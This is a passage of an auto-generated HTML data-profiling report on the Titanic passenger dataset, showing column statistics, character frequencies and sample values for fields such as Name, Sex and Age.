class=col-sm-3><p class=h4>Length</p><table class="table table-condensed stats"><tbody><tr><th>Max length</th><td>1</td></tr><tr><th>Median length</th><td>1</td></tr><tr><th>Mean length</th><td>1</td></tr><tr><th>Min length</th><td>1</td></tr></tbody></table></div><div class=col-sm-3><p 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</div> 20.7% </td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=3008368470557780037unicode-3008368470557780037categories><div class="row named-list-item"><h4>Most occurring categories</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title="Decimal Number">Decimal Number</td><td>891</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per category</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=3>3</td><td>491</td><td><div class=bar style=width:100.0%> 55.1% </div></td></tr><tr class><td title=1>1</td><td>216</td><td><div class=bar style=width:44.0%> 24.2% </div></td></tr><tr class><td title=2>2</td><td>184</td><td><div class=bar style=width:37.5%> &nbsp; </div> 20.7% </td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=3008368470557780037unicode-3008368470557780037scripts><div class="row named-list-item"><h4>Most occurring scripts</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=Common>Common</td><td>891</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per script</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=3>3</td><td>491</td><td><div class=bar style=width:100.0%> 55.1% </div></td></tr><tr class><td title=1>1</td><td>216</td><td><div class=bar style=width:44.0%> 24.2% </div></td></tr><tr class><td title=2>2</td><td>184</td><td><div class=bar style=width:37.5%> &nbsp; </div> 20.7% </td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=3008368470557780037unicode-3008368470557780037blocks><div class="row named-list-item"><h4>Most occurring blocks</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=ASCII>ASCII</td><td>891</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per block</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=3>3</td><td>491</td><td><div class=bar style=width:100.0%> 55.1% </div></td></tr><tr class><td title=1>1</td><td>216</td><td><div class=bar style=width:44.0%> 24.2% </div></td></tr><tr class><td title=2>2</td><td>184</td><td><div class=bar style=width:37.5%> &nbsp; </div> 20.7% </td></tr></tbody></table></div></div></div></div></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_-6419369795255643832></a><div class=variable><div class=col-sm-3><p class=h4 title=Name><a href=#pp_var_-6419369795255643832>Name</a><br><small>Categorical</small></p><code>HIGH CARDINALITY</code><br><code>UNIFORM</code><br><code>UNIQUE</code><br><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr class=alert><th>Distinct</th><td>891</td></tr><tr class=alert><th>Distinct (%)</th><td>100.0%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>73.2 KiB</td></tr></tbody></table></div><div class=col-sm-6><div class="col-sm- collapse in" id=minifreqtable><table class="mini freq"><tr class><th width=50%> Harmer, Mr. Abraham (David Lishin) </th><td width=50%><div class=bar style=width:0.1% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 1 </td></tr><tr class><th width=50%> Davis, Miss. Mary </th><td width=50%><div class=bar style=width:0.1% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 1 </td></tr><tr class><th width=50%> Willey, Mr. Edward </th><td width=50%><div class=bar style=width:0.1% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 1 </td></tr><tr class><th width=50%> Reynaldo, Ms. Encarnacion </th><td width=50%><div class=bar style=width:0.1% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 1 </td></tr><tr class><th width=50%> Baxter, Mr. Quigg Edmond </th><td width=50%><div class=bar style=width:0.1% data-toggle=tooltip data-placement=right data-html=true data-delay=500> &nbsp; </div> 1 </td></tr><tr class=other><th width=50%> Other values (886) </th><td width=50%><div class=bar style=width:100.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 886&nbsp; </div></td></tr></table></div></div><div class="col-sm-12 text-right"><button class="btn btn-default btn-sm" data-toggle=collapse data-target="#bottom--6419369795255643832, #minifreqtable-6419369795255643832" aria-expanded=true aria-controls=collapseExample>Toggle details</button></div><div id=bottom--6419369795255643832 class=collapse><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#-6419369795255643832bottom--6419369795255643832overview aria-controls=-6419369795255643832bottom--6419369795255643832overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#-6419369795255643832bottom--6419369795255643832string aria-controls=-6419369795255643832bottom--6419369795255643832string role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#-6419369795255643832bottom--6419369795255643832word aria-controls=-6419369795255643832bottom--6419369795255643832word role=tab data-toggle=tab>Words</a></li><li role=presentation><a href=#-6419369795255643832bottom--6419369795255643832characters aria-controls=-6419369795255643832bottom--6419369795255643832characters role=tab data-toggle=tab>Characters</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=-6419369795255643832bottom--6419369795255643832overview><div class=row><div class=col-sm-3><p class=h4>Length</p><table class="table table-condensed stats"><tbody><tr><th>Max length</th><td>82</td></tr><tr><th>Median length</th><td>25</td></tr><tr><th>Mean length</th><td>26.96520763</td></tr><tr><th>Min length</th><td>12</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Characters and Unicode</p><table class="table table-condensed stats"><tbody><tr><th>Total characters</th><td>24026</td></tr><tr><th>Distinct characters</th><td>60</td></tr><tr><th>Distinct categories</th><td>7 <a title="Unicode categories (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_character_property#General_Category target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode categories (click for more information)">?</span></a></td></tr><tr><th>Distinct scripts</th><td>2 <a title="Unicode scripts (click for more information)" href=https://en.wikipedia.org/wiki/Script_(Unicode)#List_of_scripts_in_Unicode target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode scripts (click for more information)">?</span></a></td></tr><tr><th>Distinct blocks</th><td>1 <a title="Unicode blocks (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_block target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode blocks (click for more information)">?</span></a></td></tr></tbody></table><div class="caption text-center text-muted"> The Unicode Standard assigns character properties to each code point, which can be used to analyse textual variables. </div></div><div class=col-sm-3><p class=h4>Unique</p><table class="table table-condensed stats"><tbody><tr class=alert><th>Unique</th><td>891 <span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="The number of unique values (all values that occur exactly once in the dataset).">?</span></td></tr><tr class=alert><th>Unique (%)</th><td>100.0%</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Sample</p><table class="table table-condensed stats"><tbody><tr><th>1st row</th><td>Braund, Mr. Owen Harris</td></tr><tr><th>2nd row</th><td>Cumings, Mrs. John Bradley (Florence Briggs Thayer)</td></tr><tr><th>3rd row</th><td>Heikkinen, Miss. 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"/></g></g></g><defs><clippath id=pf31bc2a4b2><rect height=239.901709 width=367.025 x=54.175 y=10.8 /></clippath></defs></svg><div class="caption text-center text-muted"> Histogram of lengths of the category </div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=-6419369795255643832bottom--6419369795255643832word><div class=col-sm-12><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=mr>mr</td><td>521</td><td><div class=bar style=width:20.5%> &nbsp; </div> 14.4% </td></tr><tr class><td title=miss>miss</td><td>182</td><td><div class=bar style=width:7.2%> &nbsp; </div> 5.0% </td></tr><tr class><td title=mrs>mrs</td><td>129</td><td><div class=bar style=width:5.1%> &nbsp; </div> 3.6% </td></tr><tr class><td title=william>william</td><td>64</td><td><div class=bar style=width:2.5%> &nbsp; </div> 1.8% </td></tr><tr class><td title=john>john</td><td>44</td><td><div class=bar style=width:1.7%> &nbsp; </div> 1.2% </td></tr><tr class><td title=master>master</td><td>40</td><td><div class=bar style=width:1.6%> &nbsp; </div> 1.1% </td></tr><tr class><td title=henry>henry</td><td>35</td><td><div class=bar style=width:1.4%> &nbsp; </div> 1.0% </td></tr><tr class><td title=george>george</td><td>24</td><td><div class=bar style=width:0.9%> &nbsp; </div> 0.7% </td></tr><tr class><td title=james>james</td><td>24</td><td><div class=bar style=width:0.9%> &nbsp; </div> 0.7% </td></tr><tr class><td title=charles>charles</td><td>23</td><td><div class=bar style=width:0.9%> &nbsp; </div> 0.6% </td></tr><tr class=other><td title="Other values (1515)">Other values (1515)</td><td>2538</td><td><div class=bar style=width:100.0%> 70.0% </div></td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=-6419369795255643832bottom--6419369795255643832characters><div class=col-sm-12><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#-6419369795255643832unicode--6419369795255643832characters aria-controls=-6419369795255643832unicode--6419369795255643832characters role=tab data-toggle=tab>Characters</a></li><li role=presentation><a href=#-6419369795255643832unicode--6419369795255643832categories aria-controls=-6419369795255643832unicode--6419369795255643832categories role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#-6419369795255643832unicode--6419369795255643832scripts aria-controls=-6419369795255643832unicode--6419369795255643832scripts role=tab data-toggle=tab>Scripts</a></li><li role=presentation><a href=#-6419369795255643832unicode--6419369795255643832blocks aria-controls=-6419369795255643832unicode--6419369795255643832blocks role=tab data-toggle=tab>Blocks</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=-6419369795255643832unicode--6419369795255643832characters><div class="row named-list-item"><h4>Most occurring characters</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=" "></td><td>2735</td><td><div class=bar style=width:30.9%> &nbsp; </div> 11.4% </td></tr><tr class><td title=r>r</td><td>1958</td><td><div class=bar style=width:22.1%> &nbsp; </div> 8.1% </td></tr><tr class><td title=e>e</td><td>1703</td><td><div class=bar style=width:19.3%> &nbsp; </div> 7.1% </td></tr><tr class><td title=a>a</td><td>1657</td><td><div class=bar style=width:18.7%> &nbsp; </div> 6.9% </td></tr><tr class><td title=i>i</td><td>1325</td><td><div class=bar style=width:15.0%> &nbsp; </div> 5.5% </td></tr><tr class><td title=n>n</td><td>1304</td><td><div class=bar style=width:14.7%> &nbsp; </div> 5.4% </td></tr><tr class><td title=s>s</td><td>1297</td><td><div class=bar style=width:14.7%> &nbsp; </div> 5.4% </td></tr><tr class><td title=M>M</td><td>1128</td><td><div class=bar style=width:12.8%> &nbsp; </div> 4.7% </td></tr><tr class><td title=l>l</td><td>1067</td><td><div class=bar style=width:12.1%> &nbsp; </div> 4.4% </td></tr><tr class><td title=o>o</td><td>1008</td><td><div class=bar style=width:11.4%> &nbsp; </div> 4.2% </td></tr><tr class=other><td title="Other values (50)">Other values (50)</td><td>8844</td><td><div class=bar style=width:100.0%> 36.8% </div></td></tr></tbody></table></div></div><div role=tabpanel class="tab-pane col-sm-12" id=-6419369795255643832unicode--6419369795255643832categories><div class="row named-list-item"><h4>Most occurring categories</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title="Lowercase Letter">Lowercase Letter</td><td>15446</td><td><div class=bar style=width:100.0%> 64.3% </div></td></tr><tr class><td title="Uppercase Letter">Uppercase Letter</td><td>3645</td><td><div class=bar style=width:23.6%> &nbsp; </div> 15.2% </td></tr><tr class><td title="Space Separator">Space Separator</td><td>2735</td><td><div class=bar style=width:17.7%> &nbsp; </div> 11.4% </td></tr><tr class><td title="Other Punctuation">Other Punctuation</td><td>1899</td><td><div class=bar style=width:12.3%> &nbsp; </div> 7.9% </td></tr><tr class><td title="Open Punctuation">Open Punctuation</td><td>144</td><td><div class=bar style=width:0.9%> &nbsp; </div> 0.6% </td></tr><tr class><td title="Close Punctuation">Close Punctuation</td><td>144</td><td><div class=bar style=width:0.9%> &nbsp; </div> 0.6% </td></tr><tr class><td title="Dash Punctuation">Dash Punctuation</td><td>13</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per category</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=r>r</td><td>1958</td><td><div class=bar style=width:66.5%> 12.7% </div></td></tr><tr class><td title=e>e</td><td>1703</td><td><div class=bar style=width:57.9%> 11.0% </div></td></tr><tr class><td title=a>a</td><td>1657</td><td><div class=bar style=width:56.3%> 10.7% </div></td></tr><tr class><td title=i>i</td><td>1325</td><td><div class=bar style=width:45.0%> 8.6% </div></td></tr><tr class><td title=n>n</td><td>1304</td><td><div class=bar style=width:44.3%> 8.4% </div></td></tr><tr class><td title=s>s</td><td>1297</td><td><div class=bar style=width:44.1%> 8.4% </div></td></tr><tr class><td title=l>l</td><td>1067</td><td><div class=bar style=width:36.3%> &nbsp; </div> 6.9% </td></tr><tr class><td title=o>o</td><td>1008</td><td><div class=bar style=width:34.3%> &nbsp; </div> 6.5% </td></tr><tr class><td title=t>t</td><td>667</td><td><div class=bar style=width:22.7%> &nbsp; </div> 4.3% </td></tr><tr class><td title=h>h</td><td>517</td><td><div class=bar style=width:17.6%> &nbsp; </div> 3.3% </td></tr><tr class=other><td title="Other values (16)">Other values (16)</td><td>2943</td><td><div class=bar style=width:100.0%> 19.1% </div></td></tr></tbody></table></div><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=M>M</td><td>1128</td><td><div class=bar style=width:100.0%> 30.9% </div></td></tr><tr class><td title=A>A</td><td>250</td><td><div class=bar style=width:22.2%> &nbsp; </div> 6.9% </td></tr><tr class><td title=J>J</td><td>215</td><td><div class=bar style=width:19.1%> &nbsp; </div> 5.9% </td></tr><tr class><td title=H>H</td><td>203</td><td><div class=bar style=width:18.0%> &nbsp; </div> 5.6% </td></tr><tr class><td title=S>S</td><td>180</td><td><div class=bar style=width:16.0%> &nbsp; </div> 4.9% </td></tr><tr class><td title=C>C</td><td>172</td><td><div class=bar style=width:15.2%> &nbsp; </div> 4.7% </td></tr><tr class><td title=E>E</td><td>166</td><td><div class=bar style=width:14.7%> &nbsp; </div> 4.6% </td></tr><tr class><td title=W>W</td><td>143</td><td><div class=bar style=width:12.7%> &nbsp; </div> 3.9% </td></tr><tr class><td title=B>B</td><td>140</td><td><div class=bar style=width:12.4%> &nbsp; </div> 3.8% </td></tr><tr class><td title=L>L</td><td>129</td><td><div class=bar style=width:11.4%> &nbsp; </div> 3.5% </td></tr><tr class=other><td title="Other values (15)">Other values (15)</td><td>919</td><td><div class=bar style=width:81.5%> 25.2% </div></td></tr></tbody></table></div><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=.>.</td><td>892</td><td><div class=bar style=width:100.0%> 47.0% </div></td></tr><tr class><td title=,>,</td><td>891</td><td><div class=bar style=width:99.9%> 46.9% </div></td></tr><tr class><td title='"'>&#34;</td><td>106</td><td><div class=bar style=width:11.9%> &nbsp; </div> 5.6% </td></tr><tr class><td title="'">&#39;</td><td>9</td><td><div class=bar style=width:1.0%> &nbsp; </div> 0.5% </td></tr><tr class><td title=/ >/</td><td>1</td><td><div class=bar style=width:0.1%> &nbsp; </div> 0.1% </td></tr></tbody></table></div></div><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=" "></td><td>2735</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=(>(</td><td>144</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=)>)</td><td>144</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div></div><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=->-</td><td>13</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=-6419369795255643832unicode--6419369795255643832scripts><div class="row named-list-item"><h4>Most occurring scripts</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=Latin>Latin</td><td>19091</td><td><div class=bar style=width:100.0%> 79.5% </div></td></tr><tr class><td title=Common>Common</td><td>4935</td><td><div class=bar style=width:25.8%> &nbsp; </div> 20.5% </td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per script</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=r>r</td><td>1958</td><td><div class=bar style=width:32.8%> &nbsp; </div> 10.3% </td></tr><tr class><td title=e>e</td><td>1703</td><td><div class=bar style=width:28.5%> &nbsp; </div> 8.9% </td></tr><tr class><td title=a>a</td><td>1657</td><td><div class=bar style=width:27.7%> &nbsp; </div> 8.7% </td></tr><tr class><td title=i>i</td><td>1325</td><td><div class=bar style=width:22.2%> &nbsp; </div> 6.9% </td></tr><tr class><td title=n>n</td><td>1304</td><td><div class=bar style=width:21.8%> &nbsp; </div> 6.8% </td></tr><tr class><td title=s>s</td><td>1297</td><td><div class=bar style=width:21.7%> &nbsp; </div> 6.8% </td></tr><tr class><td title=M>M</td><td>1128</td><td><div class=bar style=width:18.9%> &nbsp; </div> 5.9% </td></tr><tr class><td title=l>l</td><td>1067</td><td><div class=bar style=width:17.9%> &nbsp; </div> 5.6% </td></tr><tr class><td title=o>o</td><td>1008</td><td><div class=bar style=width:16.9%> &nbsp; </div> 5.3% </td></tr><tr class><td title=t>t</td><td>667</td><td><div class=bar style=width:11.2%> &nbsp; </div> 3.5% </td></tr><tr class=other><td title="Other values (41)">Other values (41)</td><td>5977</td><td><div class=bar style=width:100.0%> 31.3% </div></td></tr></tbody></table></div><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=" "></td><td>2735</td><td><div class=bar style=width:100.0%> 55.4% </div></td></tr><tr class><td title=.>.</td><td>892</td><td><div class=bar style=width:32.6%> &nbsp; </div> 18.1% </td></tr><tr class><td title=,>,</td><td>891</td><td><div class=bar style=width:32.6%> &nbsp; </div> 18.1% </td></tr><tr class><td title=(>(</td><td>144</td><td><div class=bar style=width:5.3%> &nbsp; </div> 2.9% </td></tr><tr class><td title=)>)</td><td>144</td><td><div class=bar style=width:5.3%> &nbsp; </div> 2.9% </td></tr><tr class><td title='"'>&#34;</td><td>106</td><td><div class=bar style=width:3.9%> &nbsp; </div> 2.1% </td></tr><tr class><td title=->-</td><td>13</td><td><div class=bar style=width:0.5%> &nbsp; </div> 0.3% </td></tr><tr class><td title="'">&#39;</td><td>9</td><td><div class=bar style=width:0.3%> &nbsp; </div> 0.2% </td></tr><tr class><td title=/ >/</td><td>1</td><td><div class=bar style=width:0.0%> &nbsp; </div>< 0.1% </td></tr></tbody></table></div></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=-6419369795255643832unicode--6419369795255643832blocks><div class="row named-list-item"><h4>Most occurring blocks</h4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=ASCII>ASCII</td><td>24026</td><td><div class=bar style=width:100.0%> 100.0% </div></td></tr></tbody></table></div><div class="row named-list-item"><h4>Most frequent character per block</h4><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=" "></td><td>2735</td><td><div class=bar style=width:30.9%> &nbsp; </div> 11.4% </td></tr><tr class><td title=r>r</td><td>1958</td><td><div class=bar style=width:22.1%> &nbsp; </div> 8.1% </td></tr><tr class><td title=e>e</td><td>1703</td><td><div class=bar style=width:19.3%> &nbsp; </div> 7.1% </td></tr><tr class><td title=a>a</td><td>1657</td><td><div class=bar style=width:18.7%> &nbsp; </div> 6.9% </td></tr><tr class><td title=i>i</td><td>1325</td><td><div class=bar style=width:15.0%> &nbsp; </div> 5.5% </td></tr><tr class><td title=n>n</td><td>1304</td><td><div class=bar style=width:14.7%> &nbsp; </div> 5.4% </td></tr><tr class><td title=s>s</td><td>1297</td><td><div class=bar style=width:14.7%> &nbsp; </div> 5.4% </td></tr><tr class><td title=M>M</td><td>1128</td><td><div class=bar style=width:12.8%> &nbsp; </div> 4.7% </td></tr><tr class><td title=l>l</td><td>1067</td><td><div class=bar style=width:12.1%> &nbsp; </div> 4.4% </td></tr><tr class><td title=o>o</td><td>1008</td><td><div class=bar style=width:11.4%> &nbsp; </div> 4.2% </td></tr><tr class=other><td title="Other values (50)">Other values (50)</td><td>8844</td><td><div class=bar style=width:100.0%> 36.8% </div></td></tr></tbody></table></div></div></div></div></div></div></div></div></div></div></div></div></div><div class="row spacing"><a class="anchor-pos anchor-pos-variable" id=pp_var_5926577159534473622></a><div class=variable><div class=col-sm-3><p class=h4 title=Sex><a href=#pp_var_5926577159534473622>Sex</a><br><small>Categorical</small></p><p class=variable-description></p></div><div class=col-sm-3><table class="table table-condensed stats"><tbody><tr><th>Distinct</th><td>2</td></tr><tr><th>Distinct (%)</th><td>0.2%</td></tr><tr><th>Missing</th><td>0</td></tr><tr><th>Missing (%)</th><td>0.0%</td></tr><tr><th>Memory size</th><td>53.8 KiB</td></tr></tbody></table></div><div class=col-sm-6><div class="col-sm- collapse in" id=minifreqtable><table class="mini freq"><tr class><th width=50%> male </th><td width=50%><div class=bar style=width:100.0% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 577&nbsp; </div></td></tr><tr class><th width=50%> female </th><td width=50%><div class=bar style=width:54.4% data-toggle=tooltip data-placement=right data-html=true data-delay=500> 314&nbsp; </div></td></tr></table></div></div><div class="col-sm-12 text-right"><button class="btn btn-default btn-sm" data-toggle=collapse data-target="#bottom-5926577159534473622, #minifreqtable5926577159534473622" aria-expanded=true aria-controls=collapseExample>Toggle details</button></div><div id=bottom-5926577159534473622 class=collapse><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#5926577159534473622bottom-5926577159534473622overview aria-controls=5926577159534473622bottom-5926577159534473622overview role=tab data-toggle=tab>Overview</a></li><li role=presentation><a href=#5926577159534473622bottom-5926577159534473622string aria-controls=5926577159534473622bottom-5926577159534473622string role=tab data-toggle=tab>Categories</a></li><li role=presentation><a href=#5926577159534473622bottom-5926577159534473622word aria-controls=5926577159534473622bottom-5926577159534473622word role=tab data-toggle=tab>Words</a></li><li role=presentation><a href=#5926577159534473622bottom-5926577159534473622characters aria-controls=5926577159534473622bottom-5926577159534473622characters role=tab data-toggle=tab>Characters</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=5926577159534473622bottom-5926577159534473622overview><div class=row><div class=col-sm-3><p class=h4>Length</p><table class="table table-condensed stats"><tbody><tr><th>Max length</th><td>6</td></tr><tr><th>Median length</th><td>4</td></tr><tr><th>Mean length</th><td>4.704826038</td></tr><tr><th>Min length</th><td>4</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Characters and Unicode</p><table class="table table-condensed stats"><tbody><tr><th>Total characters</th><td>4192</td></tr><tr><th>Distinct characters</th><td>5</td></tr><tr><th>Distinct categories</th><td>1 <a title="Unicode categories (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_character_property#General_Category target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode categories (click for more information)">?</span></a></td></tr><tr><th>Distinct scripts</th><td>1 <a title="Unicode scripts (click for more information)" href=https://en.wikipedia.org/wiki/Script_(Unicode)#List_of_scripts_in_Unicode target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode scripts (click for more information)">?</span></a></td></tr><tr><th>Distinct blocks</th><td>1 <a title="Unicode blocks (click for more information)" href=https://en.wikipedia.org/wiki/Unicode_block target=_blank><span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="Unicode blocks (click for more information)">?</span></a></td></tr></tbody></table><div class="caption text-center text-muted"> The Unicode Standard assigns character properties to each code point, which can be used to analyse textual variables. </div></div><div class=col-sm-3><p class=h4>Unique</p><table class="table table-condensed stats"><tbody><tr><th>Unique</th><td>0 <span class="badge pull-right" style=color:#fff;background-color:#337ab7; title="The number of unique values (all values that occur exactly once in the dataset).">?</span></td></tr><tr><th>Unique (%)</th><td>0.0%</td></tr></tbody></table></div><div class=col-sm-3><p class=h4>Sample</p><table class="table table-condensed stats"><tbody><tr><th>1st row</th><td>male</td></tr><tr><th>2nd row</th><td>female</td></tr><tr><th>3rd row</th><td>female</td></tr><tr><th>4th row</th><td>female</td></tr><tr><th>5th row</th><td>male</td></tr></tbody></table></div></div></div><div role=tabpanel class="tab-pane col-sm-12" id=5926577159534473622bottom-5926577159534473622string><div class=row><div class=col-sm-4><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=male>male</td><td>577</td><td><div class=bar style=width:100.0%> 64.8% </div></td></tr><tr class><td title=female>female</td><td>314</td><td><div class=bar style=width:54.4%> 35.2% </div></td></tr></tbody></table></div><div class=col-sm-4><?xml version="1.0" encoding="utf-8" standalone="no"?><!DOCTYPE svg class="img-responsive center-img"PUBLIC "-//W3C//DTD SVG 1.1//EN"
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</div> 2.8% </td></tr><tr class><td title=21>21</td><td>24</td><td><div class=bar style=width:5.1%> &nbsp; </div> 2.7% </td></tr><tr class><td title=25>25</td><td>23</td><td><div class=bar style=width:4.9%> &nbsp; </div> 2.6% </td></tr><tr class><td title=36>36</td><td>22</td><td><div class=bar style=width:4.7%> &nbsp; </div> 2.5% </td></tr><tr class><td title=29>29</td><td>20</td><td><div class=bar style=width:4.3%> &nbsp; </div> 2.2% </td></tr><tr class=other><td title="Other values (78)">Other values (78)</td><td>467</td><td><div class=bar style=width:100.0%> 52.4% </div></td></tr><tr class=missing><td title=(Missing)>(Missing)</td><td>177</td><td><div class=bar style=width:37.9%> &nbsp; </div> 19.9% </td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=-1642777420727046933bottom--1642777420727046933extreme_values><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#-1642777420727046933extreme_values--1642777420727046933firstn aria-controls=-1642777420727046933extreme_values--1642777420727046933firstn role=tab data-toggle=tab>Minimum 5 values</a></li><li role=presentation><a href=#-1642777420727046933extreme_values--1642777420727046933lastn aria-controls=-1642777420727046933extreme_values--1642777420727046933lastn role=tab data-toggle=tab>Maximum 5 values</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=-1642777420727046933extreme_values--1642777420727046933firstn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0.42>0.42</td><td>1</td><td><div class=bar style=width:10.0%> &nbsp; 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</div> 0.8% </td></tr><tr class><td title=5>5</td><td>5</td><td><div class=bar style=width:0.8%> &nbsp; </div> 0.6% </td></tr></tbody></table></div><div role=tabpanel class="tab-pane col-sm-12" id=8060475129680382162bottom-8060475129680382162extreme_values><div class="row spacing"><ul class="nav nav-tabs" role=tablist><li role=presentation class=active><a href=#8060475129680382162extreme_values-8060475129680382162firstn aria-controls=8060475129680382162extreme_values-8060475129680382162firstn role=tab data-toggle=tab>Minimum 5 values</a></li><li role=presentation><a href=#8060475129680382162extreme_values-8060475129680382162lastn aria-controls=8060475129680382162extreme_values-8060475129680382162lastn role=tab data-toggle=tab>Maximum 5 values</a></li></ul><div class=tab-content><div role=tabpanel class="tab-pane col-sm-12 active" id=8060475129680382162extreme_values-8060475129680382162firstn><table class="freq table table-hover table-striped"><thead><tr><td>Value</td><td>Count</td><td>Frequency (%)</td></tr></thead><tbody><tr class><td title=0>0</td><td>608</td><td><div class=bar style=width:100.0%> 68.2% </div></td></tr><tr class><td title=1>1</td><td>209</td><td><div class=bar style=width:34.4%> &nbsp; </div> 23.5% </td></tr><tr class><td title=2>2</td><td>28</td><td><div class=bar 